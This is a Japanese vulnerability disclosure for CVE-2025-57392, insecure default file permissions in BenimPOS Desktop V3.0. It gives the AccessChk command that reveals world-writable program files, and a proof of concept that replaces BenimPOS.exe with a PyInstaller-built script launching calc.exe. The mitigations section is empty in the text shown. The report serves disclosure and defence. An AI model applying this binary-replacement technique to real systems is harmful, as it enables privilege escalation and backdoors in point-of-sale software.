
CVE-2025-57392
🔒 セキュリティ脆弱性レポート 製品: BenimPOS Desktop V3.0 脆弱性タイプ: 安全でないファイル権限 影響を受けるコンポーネント: BenimPOS.exe、unins000.exe、System.Data.SQLite.dll 脆弱性クラス: CWE-276: 不適切なデフォルト権限 PoC作成者: Fatih Bülbül テスト環境: Windows 11 x64 – ローカル管理者 + 標準ユーザー
🛠️ 1. 脆弱性の検出 まず、Sysinternalsが開発したAccessChk.exeツールを使用して、BenimPOSアプリケーションがインストールされているディレクトリの権限を確認しました: 使用したコマンド: accesschk.exe -dqvw "C:\Program Files (x86)\BenimPOS"
取得した結果: RW Everyone FILE_ALL_ACCESS RW BUILTIN\Users FILE_ALL_ACCESS
📌 「Everyone」グループと「BUILTIN\Users」グループにFILE_ALL_ACCESS権限が付与されています。これは、任意の標準ユーザーがアプリケーションの.exeまたは.dllファイルを変更できることを意味します。 📸 この出力のスクリーンショットを以下に示します:
import subprocess
import sys
import traceback
try:
subprocess.Popen(r"C:\\Windows\\System32\\calc.exe")
except Exception as e:
with open("error_log.txt", "w") as f:
f.write(traceback.format_exc())
sys.exit(1)
• このスクリプトを.exeファイルに変換しました(例: PyInstallerを使用)。 • 次に、元のBenimPOS.exeファイルをこの新しい実行可能ファイルに置き換えました。 🔁 プログラムの起動: • BenimPOSを開く代わりに、電卓(calc.exe)が実行されました。 📸 スクリーンショット(calc.exe起動):
🧨 3. 影響とリスク この脆弱性の影響は深刻です: カテゴリ 説明 特権昇格 標準ユーザーが管理者権限を持つプロセスになりすますことができます。 悪意のあるコードの注入 EXEまたはDLLファイルを変更してバックドアを挿入できます。 アプリケーションの改ざん POSアプリケーションに悪意のある機能を追加して、ユーザーを欺くことができます。
🩹 4. 推奨される対策